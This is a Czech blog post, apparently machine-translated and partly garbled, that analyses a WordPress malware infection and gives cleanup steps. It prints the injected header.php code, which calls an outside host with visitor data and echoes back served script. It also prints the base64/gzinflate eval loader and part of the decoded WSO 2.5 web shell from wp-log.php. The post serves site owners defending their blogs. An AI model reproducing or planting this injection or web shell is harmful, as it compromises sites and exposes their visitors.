Před pár dny jsem si všiml zařízení Kód podezřelý (virus / malware) ve zdroji běžícího blogu WordPress. Následující PHP kód byl přítomen v header.php, před řádkem .
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Nevím přesně, jak se tento virus nazývá a nimci macdělá přesně to, co dělá, ale pro návštěvníky postižených stránek je neviditelný. Místo toho to způsobí obrovské hodnocení ve vyhledávačích (zejména v Google) a tím výrazné snížení počtu návštěvníků dotčených webových stránek.
Podrobnosti známé o tomto viru souborů:
1. Výše uvedený kód přítomen v header.php
2. Vznik souboru wp-log.php ve složce wp-obsahuje.

3. wp-log.php obsahovat následující kód, šifrované:
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Dešifrovací kód v wp-log.php:
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
4. Pokud je stránka přístupná přímo numeblog.com/wp-includes/wp-log.php objeví se stránka s polem přihlášení. Na první pohled se zdá, že file manažer.
Čističe WORDPRESS.
1. Nejprve odstraňte kód z header.php a soubor wp-log.php z wp-obsahuje.
2. Zkontrolujte soubor . Htaccess podezřelých směrnic. Řádky oprávnění nebo spuštění skriptu.
3. Zkontrolujte složku motivu (/ wp-content /Témata/ Nume_tema). Hledejte nové a stávající soubory (zejména soubory .php), u kterých došlo k podezřelým změnám.
4. Zkontrolujte složku pluginS (wp-content/plugins).
5. Zkontrolujte wp-content podezřelých souborů.
6. Zkontrolujte oprávnění k zápisu a souboru. chmod si chown.
DEVIRUZUJÍCÍ NÁVRHY WORDPRESS.
1. V první je dobré udělat zálohu všech souborů blogu a databáze.
2. Odstraňte složky wp-admin si wp-obsahuje a všechny soubory . Php z kořenového adresáře webu. Pokud máte vlastní soubory .php, je dobré je zkontrolovat ručně.
3. Stáhněte si aktuální verzi WordPress a nahrát.
4. Zkontrolujte databázi uživatele s hodností administrator.
To je asi vše, co k tomuto viru musíme říci, ale pokud máte nějaké doplňky nebo objevíme nové podrobnosti, rádi tento článek aktualizujeme.
STEALTH SETTINGS - ODSTRANIT WORDPRESS VIRUS .